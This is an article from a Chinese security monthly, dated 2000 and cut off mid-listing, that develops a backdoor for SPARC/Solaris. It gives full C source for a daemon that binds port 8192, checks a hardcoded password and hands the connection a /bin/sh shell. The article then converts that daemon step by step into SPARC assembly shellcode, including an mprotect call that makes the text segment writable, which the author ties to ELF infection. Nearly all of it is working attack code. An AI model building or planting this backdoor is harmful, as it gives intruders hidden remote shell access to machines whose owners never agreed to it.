首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第11期->技术专题
期刊号: 类型: 关键词:
SPARC/Solaris下的Unix后门初探

作者:小四 < mailto: scz@nsfocus.com >
主页:http://www.nsfocus.com
日期:2000-07-11


无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下
的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。

--------------------------------------------------------------------------
/* gcc -g -ggdb -o s s.c -lsocket */
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int                s, c;
struct sockaddr_in serv_addr;
char *             name[2];
char               pass[9] = "xxxxxxxx";

int main ( int argc, char * argv[] )
{
    if ( fork() == 0 )  /* 子进程 */
    {
        setsid();  /* become session leader */
        signal( SIGHUP, SIG_IGN );
        if ( fork() == 0 )  /* 子进程 */
        {
            serv_addr.sin_family      = 2;
            serv_addr.sin_addr.s_addr = 0;
            serv_addr.sin_port        = 0x2000;  // 端口8192
            // 创建TCP套接字,这里与Linux有区别
            s                         = socket( 2, 2, 6 );
            bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
            listen( s, 1 );
            signal( SIGCHLD, SIG_IGN );
            while ( 1 )
            {
                c = accept( s, 0, 0 );
                if ( fork() == 0 )  /* 子进程 */
                {
                    close( s );
                    /* 用c进行通信,做一次弱验证保护 */
                    while ( strcmp( pass, "12345678" ) != 0 )
                    {
                        read( c, pass, 8 );
                    }
                    // 准备输入输出重定向,标准技术
                    dup2( c, 0 );
                    dup2( c, 1 );
                    dup2( c, 2 );
                    close( c );  /* 这里可以关闭c */
                    name[0] = "/bin/sh";
                    name[1] = 0;
                    execve( name[0], name, 0 );
                    exit( 0 );  /* 防止execve()失败 */
                }
                close( c );  /* 这里必须关闭c */
            }  /* end of while */
        }
    }
    return( 0 );  /* 父进程 */
}  /* end of main */
--------------------------------------------------------------------------

该程序只能编译成动态版本,如果指定-static,发现

[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket
未定义符号                在文件中
endnetconfig              /usr/lib/libsocket.a(_soutil.o)
setnetconfig              /usr/lib/libsocket.a(_soutil.o)
getnetconfig              /usr/lib/libsocket.a(_soutil.o)
ld: 致命的: 符号参照错误. 没有输出被写入s
[scz@ /space/staff/scz/src]>

我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝
/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后
链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部
符号无着落的问题。

大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在
浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用
truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:

setsid()                                        = 2260
sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8)       = 0
so_socket(2, 2, 6, "", 1)                       = 3
bind(3, 0x00021E60, 16)                         = 0
listen(3, 1)                                    = 0
sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8)       = 0
accept(3, 0x00000000, 0x00000000) (sleeping...)

这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到
静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对
底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可
以抛弃-lsocket链接开关了,这只猪害人不浅。

关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我
们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:

setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )

显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接
利用syscall完成。

--------------------------------------------------------------------------
// gcc -g -ggdb -static -o s s.c
// 使用syscall之后,可以抛弃-lsocket链接开关
// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关
// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈

#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/syscall.h>
#include <fcntl.h>

int                s, c;
struct sockaddr_in serv_addr;
char *             name[2];
char               pass[9] = "xxxxxxxx";

int main ( int argc, char * argv[] )
{
    if ( fork() == 0 )  /* 子进程 */
    {
        // setsid();  /* become session leader */
        // SYS_pgrpsys
        syscall( 39, 3 );
        // signal( SIGHUP, SIG_IGN );
        // SYS_signal
        syscall( 48, 1, 1 );
        if ( fork() == 0 )  /* 子进程 */
        {
            serv_addr.sin_family      = 2;
            serv_addr.sin_addr.s_addr = 0;
            // 使用big endian序
            serv_addr.sin_port        = 0x2000;  // 端口8192
            // 创建TCP套接字,这里与Linux有区别
            // s                         = socket( 2, 2, 6 );
            // SYS_so_socket
            s                         = syscall( 230, 2, 2, 6 );
            // bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
            // SYS_bind
            syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );
            // listen( s, 1 );
            // SYS_listen
            syscall( 233, s, 1 );
            // signal( SIGCHLD, SIG_IGN );
            syscall( 48, 18, 1 );
            while ( 1 )
            {
                // c = accept( s, 0, 0 );
                // SYS_accept
                c = syscall( 234, s, 0, 0 );
                if ( fork() == 0 )  /* 子进程 */
                {
                    // close( s );
                    // SYS_close
                    syscall( 6, s );
                    /* 用c进行通信,做一次弱验证保护 */
                    while ( strcmp( pass, "12345678" ) != 0 )
                    {
                        // read( c, pass, 8 );
                        // SYS_read
                        syscall( 3, c, pass, 8 );
                    }
                    // 准备输入输出重定向,标准技术
                    // dup2( c, 0 );
                    // dup2( c, 1 );
                    // dup2( c, 2 );
                    // SPARC/Solaris没有单独实现dup2,而是用fcntl实现
                    // 有点其他问题,请参看APUE,天晓得发生了什么
                    // syscall( SYS_fcntl, c, F_DUP2FD, 0 );
                    syscall( 62, c, 9, 0 );
                    syscall( 62, c, 9, 1 );
                    syscall( 62, c, 9, 2 );
                    // close( c );  /* 这里可以关闭c */
                    syscall( 6, c );
                    name[0] = "/bin/sh";
                    name[1] = 0;
                    execve( name[0], name, 0 );
                    // exit( 0 );  /* 防止execve()失败 */
                    // SYS_exit
                    syscall( 1, 0 );
                }
                // close( c );  /* 这里必须关闭c */
                syscall( 6, c );
            }  /* end of while */
        }
    }
    return( 0 );  /* 父进程 */
}  /* end of main */
--------------------------------------------------------------------------

对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本
上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不
同了。

--------------------------------------------------------------------------
0x101c0 <main+12>      :  call  0x1267c <fork>
0x101c4 <main+16>      :  nop
0x101c8 <main+20>      :  cmp   %o0, 0
0x101cc <main+24>      :  bne   0x10434 <main+640>
0x101d0 <main+28>      :  nop

0x131c4 <_libc_fork>   :  mov   2, %g1     ! 0x2
0x131c8 <_libc_fork+4> :  ta    8
0x131cc <_libc_fork+8> :  bcc   0x131e0 <_libc_fork+28>
0x131d0 <_libc_fork+12>:  sethi %hi(0x16000), %o5
0x131d4 <_libc_fork+16>:  or    %o5, 0x90, %o5      ! 0x16090 <_cerror>
0x131d8 <_libc_fork+20>:  jmp   %o5
0x131dc <_libc_fork+24>:  nop
0x131e0 <_libc_fork+28>:  tst   %o1
0x131e4 <_libc_fork+32>:  bne,a 0x131ec <_libc_fork+40>
0x131e8 <_libc_fork+36>:  mov   %g0, %o0
0x131ec <_libc_fork+40>:  retl
0x131f0 <_libc_fork+44>:  nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   2, %g1
        ta    8
        tst   %o1       ! %o1不为0表示是子进程
        bne,a .+16      ! 是子进程,跳转
        mov   %g0, %o0  ! 延迟插槽,注意理解延迟插槽的执行顺序
        call  .+8
        nop
        nop             ! 需要替换,此时%o0为0,子进程继续
    ");
}  /* end of main */
--------------------------------------------------------------------------

可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提
到fork()失败会返回-1。

下面来观察syscall( 39, 3 ):

--------------------------------------------------------------------------
0x101d4 <main+32>   :  mov   0x27, %o0  ! 0x27
0x101d8 <main+36>   :  mov   3, %o1
0x101dc <main+40>   :  call  0x10fec <syscall>
0x101e0 <main+44>   :  nop

0x10fec <syscall>   :  clr   %g1
0x10ff0 <syscall+4> :  ta    8
0x10ff4 <syscall+8> :  bcc   0x11008 <syscall+28>
0x10ff8 <syscall+12>:  sethi %hi(0x16000), %o5
0x10ffc <syscall+16>:  or    %o5, 0x90, %o5      ! 0x16090 <_cerror>
0x11000 <syscall+20>:  jmp   %o5
0x11004 <syscall+24>:  nop
0x11008 <syscall+28>:  retl
0x1100c <syscall+32>:  nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x27, %o0
        mov   3, %o1
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。

下面来观察syscall( 48, 1, 1 ):

--------------------------------------------------------------------------
0x101e4 <main+48>:      mov  0x30, %o0  ! 0x30
0x101e8 <main+52>:      mov  1, %o1
0x101ec <main+56>:      mov  1, %o2
0x101f0 <main+60>:      call 0x10fec <syscall>
0x101f4 <main+64>:      nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x30, %o0
        mov   1, %o1
        mov   1, %o2
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

有了上面的研究基础,下面直接编写syscall( 1, 0 ):

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x01, %o0
        clr   %o1
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon
框架:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   2, %g1
        ta    8
        tst   %o1       ! %o1不为0表示是子进程
        bne,a .+16      ! 是子进程,跳转
        mov   %g0, %o0  ! 延迟插槽
        call  exit
        nop
        mov   0x27, %o0 ! 此前%o0为0,子进程继续
        mov   3, %o1
        clr   %g1
        ta    8
        mov   0x30, %o0
        mov   1, %o1
        mov   1, %o2
        clr   %g1
        ta    8
        mov   2, %g1
        ta    8
        tst   %o1       ! %o1不为0表示是子进程
        bne,a .+16      ! 是子进程,跳转
        mov   %g0, %o0  ! 延迟插槽
        call  exit
        nop
exit:
        mov   0x01, %o0
        clr   %o1
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。

接下来观察s = syscall( 230, 2, 2, 6 ):

--------------------------------------------------------------------------
0x10244 <main+144>:     mov   0xe6, %o0
0x10248 <main+148>:     mov   2, %o1
0x1024c <main+152>:     mov   2, %o2
0x10250 <main+156>:     mov   6, %o3
0x10254 <main+160>:     call  0x10fec <syscall>
0x10258 <main+164>:     nop
0x1025c <main+168>:     sethi %hi(0x27800), %o1
0x10260 <main+172>:     st    %o0, [ %o1 + 0x1b4 ]        ! 0x279b4 <s>
--------------------------------------------------------------------------

从这里可以看出s由%o0返回,其余的对于我们已经不新鲜了:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0xe6, %o0
        mov   0x02, %o1
        mov   0x02, %o2
        mov   0x06, %o3
        clr   %g1
        ta    8
        st    %o0, [ %l7 ]  ! [ %l7 ]存放s
    ");
}  /* end of main */
--------------------------------------------------------------------------

如果去掉最后的st指令,可以用truss ./asm检验效果,最后的st指令是保存s的意思,
这里假设%l7已经指向正确的内存空间。

接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ):

--------------------------------------------------------------------------
0x1020c <main+88> :  sethi  %hi(0x27800), %o0
0x10210 <main+92> :  mov    2, %o1
0x10214 <main+96> :  sth    %o1, [ %o0 + 0x1b8 ]  ! serv_addr.sin_family = 2;
0x10218 <main+100>:  sethi  %hi(0x27800), %o0
0x1021c <main+104>:  mov    4, %o1
0x10220 <main+108>:  or     %o0, 0x1b8, %o2       ! 0x279b8 <serv_addr>
0x10224 <main+112>:  add    %o1, %o2, %o0         ! 0x279bc <serv_addr+4>
0x10228 <main+116>:  clr    [ %o0 ]               ! serv_addr.sin_addr.s_addr = 0;
0x1022c <main+120>:  sethi  %hi(0x27800), %o0
0x10230 <main+124>:  mov    2, %o1
0x10234 <main+128>:  or     %o0, 0x1b8, %o2       ! 0x279b8 <serv_addr>
0x10238 <main+132>:  add    %o1, %o2, %o0         ! 0x279ba <serv_addr+2>
0x1023c <main+136>:  sethi  %hi(0x2000), %o1
0x10240 <main+140>:  sth    %o1, [ %o0 ]          ! serv_addr.sin_port = 0x2000;

0x10264 <main+176>:  sethi  %hi(0x27800), %o1
0x10268 <main+180>:  mov    0xe8, %o0
0x1026c <main+184>:  ld     [ %o1 + 0x1b4 ], %o1  ! %o1设置成s
0x10270 <main+188>:  sethi  %hi(0x27800), %o3
0x10274 <main+192>:  or     %o3, 0x1b8, %o2       ! 0x279b8 <serv_addr>
0x10278 <main+196>:  mov    0x10, %o3             ! 16
0x1027c <main+200>:  call   0x10fec <syscall>
0x10280 <main+204>:  nop
--------------------------------------------------------------------------

这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   2, %o1
        sth   %o1, [ %l7 + 0x04 ]  ! serv_addr.sin_family
        clr   [ %l7 + 0x08 ]       ! serv_addr.sin_addr.s_addr
        sethi %hi(0x2000), %o1
        sth   %o1, [ %l7 + 0x06 ]  ! serv_addr.sin_port
        mov   0xe8, %o0            ! 第一个参数232
        ld    [ %l7 ], %o1         ! 第二个参数s
        mov   4, %o2
        add   %l7, %o2, %o2        ! 第三个参数&serv_addr
        mov   0x10, %o3            ! 最后一个参数16
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

不用观察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接编写它们:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0xe9, %o0            ! 第一个参数233
        ld    [ %l7 ], %o1         ! 第二个参数s
        mov   0x01, %o2            ! 第三个参数1
        clr   %g1
        ta    8
        mov   0x30, %o0
        mov   0x12, %o1
        mov   0x01, %o2
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

下面是c = syscall( 234, s, 0, 0 )的相关代码片段,尚未提炼:

--------------------------------------------------------------------------
0x102c0 <main+268>:     sethi  %hi(0x27800), %o1
0x102c4 <main+272>:     mov    0xea, %o0
0x102c8 <main+276>:     ld     [ %o1 + 0x1b4 ], %o1
0x102cc <main+280>:     clr    %o2
0x102d0 <main+284>:     clr    %o3
0x102d4 <main+288>:     call   0x10fec <syscall>
0x102d8 <main+292>:     nop
0x102dc <main+296>:     sethi  %hi(0x27800), %o1
0x102e0 <main+300>:     st     %o0, [ %o1 + 0x1b0 ]        ! 0x279b0 <c>
--------------------------------------------------------------------------

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0xea, %o0
        ld    [ %l7 ], %o1         ! 第二个参数s
        clr   %o2
        clr   %o3
        clr   %g1
        ta    8
        st    %o0, [ %l7 + 4 ]     ! [ %l7 +4 ]存放c
    ");
}  /* end of main */
--------------------------------------------------------------------------

一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用,
SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找
到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在
/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。
可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?
如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无
奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快
提取mprotect的汇编码:

--------------------------------------------------------------------------
/* gcc -o test test.c */
#include <stdio.h>
#include <errno.h>
#include <sys/mman.h>

int main ( int argc, char * argv[] )
{
    char * buf;
    char   c;

    /* 分配一块内存,拥有缺省的rw-保护 */
    buf = ( char * )malloc( 1024 + 4096 - 1 );
    if ( !buf )
    {
        perror( "Couldn't malloc( 1024 )" );
        exit( errno );
    }
    /* Align to a multiple of PAGESIZE, assumed to be a power of two */
    buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) );
    c       = buf[77];  /* Read ok */
    buf[77] = c;        /* Write ok */
    printf( "ok\n" );
    /* Mark the buffer read-only. */
    // 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */
    if ( mprotect( buf, 1024, PROT_READ ) )
    {
        perror( "\nCouldn't mprotect" );
        exit( errno );
    }
    c       = buf[77];  /* Read ok */
    buf[77] = c;        /* Write error, program dies on SIGSEGV */

    exit( 0 );
}  /* end of main */
--------------------------------------------------------------------------

[scz@ /export/home/scz/src]> gcc -o test test.c
[scz@ /export/home/scz/src]> ./test
ok
段错误 (core dumped)  <-- -- -- 内存保护起作用了
[scz@ /export/home/scz/src]>

用gdb ./test看到如下入口参数:

--------------------------------------------------------------------------
0x10bc4 <main+152>:     ld    [ %fp + -20 ], %o0
0x10bc8 <main+156>:     mov   0x400, %o1
0x10bcc <main+160>:     mov   1, %o2
0x10bd0 <main+164>:     call  0x21874 <mprotect>
0x10bd4 <main+168>:     nop
--------------------------------------------------------------------------

同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代
码:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x74, %o0            ! 第一个参数116
        sethi %hi(0x10000), %o1    ! 第二参数,起始地址
        sethi %hi(0x00002000), %o2 ! 第三个参数8096
        mov   0x07, %o3            ! 第四个参数7,rwx
        clr   %g1
        ta    8
        ! call  .  ! 用于调试,设置个无限循环,然后用pmap观察
        ! nop
    ");
}  /* end of main */
--------------------------------------------------------------------------

别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必
须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,
直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之
间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读
可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,
也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了
写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且
先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址,
看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧,
SPARC下罗嗦了许多。

我们可以整合出一个daemon,这个daemon监听8192端口:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x74, %o0            ! 第一个参数116
        sethi %hi(0x10000), %o1    ! 第二参数,起始地址
        sethi %hi(0x00002000), %o2 ! 第三个参数8096
        mov   0x07, %o3            ! 第四个参数7,rwx
        clr   %g1
        ta    8
        bn,a  .-4                  ! 跳转去执行call .-4指令
        bn,a  .-4                  ! 跳转去执行nop
        call  .-4                  ! 跳转去执行前面这条bn,a .-4指令
        nop                        ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
        add   %o7, 172, %l7        ! %o7 + 172 指向本段代码尾部
        mov   0xe6, %o0
        mov   0x02, %o1
        mov   0x02, %o2
        mov   0x06, %o3
        clr   %g1
        ta    8
        st    %o0, [ %l7 ]         ! [ %l7 ]存放s
        mov   2, %o1
        sth   %o1, [ %l7 + 0x04 ]  ! serv_addr.sin_family
        clr   [ %l7 + 0x08 ]       ! serv_addr.sin_addr.s_addr
        sethi %hi(0x2000), %o1
        sth   %o1, [ %l7 + 0x06 ]  ! serv_addr.sin_port
        mov   0xe8, %o0            ! 第一个参数232
        ld    [ %l7 ], %o1         ! 第二个参数s
        mov   4, %o2
        add   %l7, %o2, %o2        ! 第三个参数&serv_addr
        mov   0x10, %o3            ! 最后一个参数16
        clr   %g1
        ta    8
        mov   0xe9, %o0            ! 第一个参数233
        ld    [ %l7 ], %o1         ! 第二个参数s
        mov   0x01, %o2            ! 第三个参数1
        clr   %g1
        ta    8
        mov   0x30, %o0
        mov   0x12, %o1
        mov   0x01, %o2
        clr   %g1
        ta    8
        mov   0xea, %o0
        ld    [ %l7 ], %o1         ! 第二个参数s
        clr   %o2
        clr   %o3
        clr   %g1
        ta    8
        st    %o0, [ %l7 + 4 ]     ! [ %l7 +4 ]存放c
exit:
        mov   0x01, %o0
        clr   %o1
        clr   %g1
        ta    8
        .ascii  \"xxxxxxxx\"
        .ascii  \"xxxxxxxx\"
        .ascii  \"xxxxxxxx\"
        .ascii  \"xxxxxxxx\"
    ");
}  /* end of main */
--------------------------------------------------------------------------

这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套
接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,
在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。

编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 ], %o1         ! 第二个参数s
        clr   %g1
        ta    8
        mov   0x3e, %o0            ! 第一个参数62
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        mov   0x09, %o2
        clr   %o3
        clr   %g1
        ta    8
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

还有一个更烦人的execve( name[0], name, 0 ),可以从
<< solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        sethi   0xbd89a, %l4    ! sethi  %hi(0x2f626800), %l4
        or      %l4, 0x16e, %l4
        sethi   0xbdcda, %l5    ! sethi  %hi(0x2f736800), %l5
        and     %sp, %sp, %o0   ! $o0 指向字符串/bin/sh
        add     %sp, 8, %o1     ! $o1 存放一个地址,该地址处存放了指向字符串的指针
        xor     %o2, %o2, %o2   ! %o2寄存器清零
        add     %sp, 16, %sp    ! 留出存储空间
        std     %l4, [%sp - 16] ! 存放字符串
        st      %o0, [%sp - 8]  ! 存放字符串指针
        st      %g0, [%sp - 4]  ! %g0总是为0
        mov     0x3b, %g1       ! 将0x3b拷贝到%g1寄存器中
        ta      8               ! 执行中断指令ta 8(execve()完成)
    ");
}  /* end of main */
--------------------------------------------------------------------------

最后研究一下syscall( 3, c, pass, 8 ):

--------------------------------------------------------------------------
0x1033c <main+392>:     mov  3, %o0
0x10340 <main+396>:     ld  [ %o1 + 0x1b0 ], %o1
0x10344 <main+400>:     sethi  %hi(0x26400), %o3
0x10348 <main+404>:     or  %o3, 0x158, %o2     ! 0x26558 <pass>
0x1034c <main+408>:     mov  8, %o3
0x10350 <main+412>:     call  0x10fec <syscall>
0x10354 <main+416>:     nop
--------------------------------------------------------------------------

分析后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x03, %o0            ! 第一个参数3
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        add   %l7, 8, %o2          ! 第三个参数pass
        mov   0x08, %o3            ! 第四个参数8
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强
制口令恰好8个字节,所以比较两个usigned long即可。

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
read:
        mov   0x03, %o0            ! 第一个参数3
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        add   %l7, 8, %o2          ! 第三个参数pass
        mov   0x08, %o3            ! 第四个参数8
        clr   %g1
        ta    8                    ! read( c, pass, 8 )
        ld    [ %l7 + 8 ], %o0
        ld    [ %l7 + 28 ], %o1
        cmp   %o0, %o1
        be,a  .+16
        nop
        call  read
        nop
        ld    [ %l7 + 12 ], %o0
        ld    [ %l7 + 32 ], %o1
        cmp   %o0, %o1
        be,a  .+16
        nop
        call  read
        nop
    ");
}  /* end of main */
--------------------------------------------------------------------------

实际最初的代码不是这个样子,当时忽略了SPARC下严格的4字节对齐的要求,导致在
做弱口令验证的时候总线错误,i386下是没有这种顾虑的。这也说明了SPARC下汇编
编程更加困难,需要更多的细心。

至此,我们需要的各个系统调用、各个关键部位的汇编代码统统搞定,剩下的问题是
组合它们。提醒大家的是,即使我们这次组合顺利,也不意味着backdoor for sparc
成功搞定,尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定,大家
不要乱扔臭鸡蛋、西红柿什么的,砸到我倒没什么,砸到小朋友怎么办,即使砸不到
小朋友,砸到那些花花草草也是不好的,我都给你们说过多次了。

言归正传,backdoor如果没搞定,作为汇编版本的远程shell毕竟提供出来了,对于
以后可能出现的很多研究有借鉴作用,也是不错的。

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   2, %g1
        ta    8                    ! fork()
        tst   %o1                  ! %o1不为0表示是子进程
        bne,a .+16                 ! 是子进程,跳转
        mov   %g0, %o0             ! 延迟插槽
        call  exit
        nop
        mov   0x27, %o0            ! 此前%o0为0,子进程继续
        mov   3, %o1
        clr   %g1
        ta    8                    ! setsid()
        mov   0x30, %o0
        mov   1, %o1
        mov   1, %o2
        clr   %g1
        ta    8                    ! signal( SIGHUP, SIG_IGN )
        mov   2, %g1
        ta    8                    ! fork()
        tst   %o1                  ! %o1不为0表示是子进程
        bne,a .+16                 ! 是子进程,跳转
        mov   %g0, %o0             ! 延迟插槽
        call  exit
        nop
        mov   0x74, %o0            ! 第一个参数116
        sethi %hi(0x10000), %o1    ! 第二参数,起始地址
        sethi %hi(0x00002000), %o2 ! 第三个参数8096
        mov   0x07, %o3            ! 第四个参数7,rwx
        clr   %g1
        ta    8                    ! 设置文本段可写
        bn,a  .-4                  ! 跳转去执行call .-4指令
        bn,a  .-4                  ! 跳转去执行nop
        call  .-4                  ! 跳转去执行前面这条bn,a .-4指令
        nop                        ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
        add   %o7, 464, %l7        ! %o7 + 464 指向本段代码尾部
        mov   0xe6, %o0
        mov   0x02, %o1
        mov   0x02, %o2
        mov   0x06, %o3
        clr   %g1
        ta    8                    ! socket( 2, 2, 6 )
        st    %o0, [ %l7 ]         ! [ %l7 ]存放s
        mov   2, %o1
        sth   %o1, [ %l7 + 0x04 ]  ! serv_addr.sin_family
        clr   [ %l7 + 0x08 ]       ! serv_addr.sin_addr.s_addr
        sethi %hi(0x2000), %o1
        sth   %o1, [ %l7 + 0x06 ]  ! serv_addr.sin_port
        mov   0xe8, %o0            ! 第一个参数232
        ld    [ %l7 ], %o1         ! 第二个参数s
        mov   4, %o2
        add   %l7, %o2, %o2        ! 第三个参数&serv_addr
        mov   0x10, %o3            ! 最后一个参数16
        clr   %g1
        ta    8                    ! bind( s, ( struct sockaddr * )&serv_addr, 0x10 )
        mov   0xe9, %o0            ! 第一个参数233
        ld    [ %l7 ], %o1         ! 第二个参数s
        mov   0x01, %o2            ! 第三个参数1
        clr   %g1
        ta    8                    ! listen( s, 1 )
        mov   0x30, %o0
        mov   0x12, %o1            ! SIGCHLD
        mov   0x01, %o2
        clr   %g1
        ta    8                    ! signal( SIGCHLD, SIG_IGN )
accept:
        mov   0xea, %o0
        ld    [ %l7 ], %o1         ! 第二个参数s
        clr   %o2
        clr   %o3
        clr   %g1
        ta    8                    ! accept( s, 0, 0 )
        st    %o0, [ %l7 + 4 ]     ! [ %l7 +4 ]存放c
        mov   2, %g1
        ta    8                    ! fork()
        tst   %o1                  ! %o1不为0表示是子进程
        bne,a .+16                 ! 是子进程,跳转
        mov   %g0, %o0             ! 延迟插槽
        call  loop
        nop
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 ], %o1         ! 第二个参数s
        clr   %g1
        ta    8                    ! close( s )
read:
        mov   0x03, %o0            ! 第一个参数3
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        add   %l7, 8, %o2          ! 第三个参数pass
        mov   0x08, %o3            ! 第四个参数8
        clr   %g1
        ta    8                    ! read( c, pass, 8 )
        ld    [ %l7 + 8 ], %o0
        ld    [ %l7 + 28 ], %o1
        cmp   %o0, %o1
        be,a  .+16
        nop
        call  read
        nop
        ld    [ %l7 + 12 ], %o0
        ld    [ %l7 + 32 ], %o1
        cmp   %o0, %o1
        be,a  .+16
        nop
        call  read
        nop
        mov   0x3e, %o0            ! 第一个参数62
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        mov   0x09, %o2
        clr   %o3
